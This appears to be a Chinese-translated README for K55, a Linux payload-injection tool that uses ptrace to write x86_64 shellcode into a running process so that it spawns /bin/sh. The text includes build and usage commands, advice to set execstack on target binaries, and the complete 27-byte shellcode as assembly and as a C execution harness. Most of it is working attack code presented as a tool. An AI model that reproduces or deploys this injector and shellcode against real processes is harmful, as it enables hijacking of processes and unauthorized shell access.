(读作:“kay fifty-five”)
K55 载荷注入工具用于将 x86_64 shellcode 载荷注入到正在运行的进程中。该工具采用现代 C++11 技术以及一些传统的 C Linux 函数(如 ptrace())开发。目标进程中生成的 shellcode 大小为 27 字节,用于在目标地址空间内执行 /bin/sh(产生一个 bash shell)。未来,我将允许用户通过命令行参数输入自己的 shellcode。
git clone https://github.com/josh0xA/K55.gitcd K55chmod +x build-install.sh./build-install.sh用法: ./K55 <进程名称>
r-xp 或 execstack 权限的 Linux 进程。测试 1) 在一个终端(K55/ 目录)中运行:./k55_example_process/k55_test_process
测试 2) 在另一个终端中运行注入器:sudo ./K55 k55_test_process
显然,ptrace(PTRACE_POKETEXT...) 调用并不是最隐蔽的方式。因此,一些应用程序可能会限制 K55 的效果。不过,在进行安全测试时,请确保为目标应用程序启用 execstack。例如,如果我在 gdb 上进行测试,在注入之前,我会运行以下命令:sudo execstack -s /usr/bin/gdb。请从你的发行版包管理器中安装 execstack。对于 Arch Linux 用户,可以在 AUR 中找到 execstack。
注意:以下是演示。载荷字符串已经硬编码在 K55 中。
main:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
#include <stdio.h>
#include <string.h>
// 汇编代码对应的 shellcode 分解。
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
http://shell-storm.org/shellcode/files/shellcode-806.php
https://0x00sec.org/t/linux-infecting-running-processes/1097
MIT 许可证
版权所有 (c) Josh Schiavone